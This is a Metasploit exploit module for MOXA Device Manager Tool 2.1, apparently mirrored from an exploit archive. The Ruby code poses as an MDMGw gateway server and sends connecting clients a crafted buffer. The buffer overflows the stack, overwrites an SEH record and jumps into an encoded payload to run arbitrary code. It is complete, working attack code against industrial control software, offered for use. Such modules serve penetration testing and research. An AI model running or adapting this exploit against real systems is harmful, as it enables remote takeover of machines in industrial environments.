MOXA Device Manager Tool 2.1 - Buffer Overflow

2014-07-0100:00:00
Root
www.seebug.org
JSON
No description provided by source.

                                                ##
# $Id: moxa_mdmtool.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 &#60; Msf::Exploit::Remote

	Rank = GreatRanking

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;MOXA Device Manager Tool 2.1 Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
				When sending a specially crafted MDMGw (MDM2_Gateway) response, an
				attacker may be able to execute arbitrary code.
			},
			&#39;Author&#39;         =&#62; [ &#39;Ruben Santamarta&#39;, &#39;MC&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 11039 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;OSVDB&#39;, &#39;69027&#39;],
					[ &#39;URL&#39;, &#39;http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=&#39; ],
					[ &#39;URL&#39;, &#39;http://www.us-cert.gov/control_systems/pdf/ICS-Alert-10-293-02.pdf&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;,
					&#39;InitialAutoRunScript&#39; =&#62; &#39;migrate -f&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 600,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a\x0d\x20&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;MOXA MDM Tool 2.1&#39;, { &#39;Ret&#39; =&#62; 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 20 2010&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptPort.new(&#39;SRVPORT&#39;, [ true, &#34;The daemon port to listen on.&#34;, 54321 ])
			], self.class)
	end

	def on_client_connect(client)

		return if ((p = regenerate_payload(client)) == nil)

		client.get_once

		sploit = rand_text_alpha_upper(18024)

		sploit[0, 4] = [0x29001028].pack(&#39;V&#39;)
		sploit[472, payload.encoded.length] = payload.encoded
		sploit[1072, 8] = generate_seh_record(target.ret)
		sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, &#34;call $-550&#34;).encode_string

		client.put(sploit)

		handler(client)

		service.close_client(client)

	end
end
JSON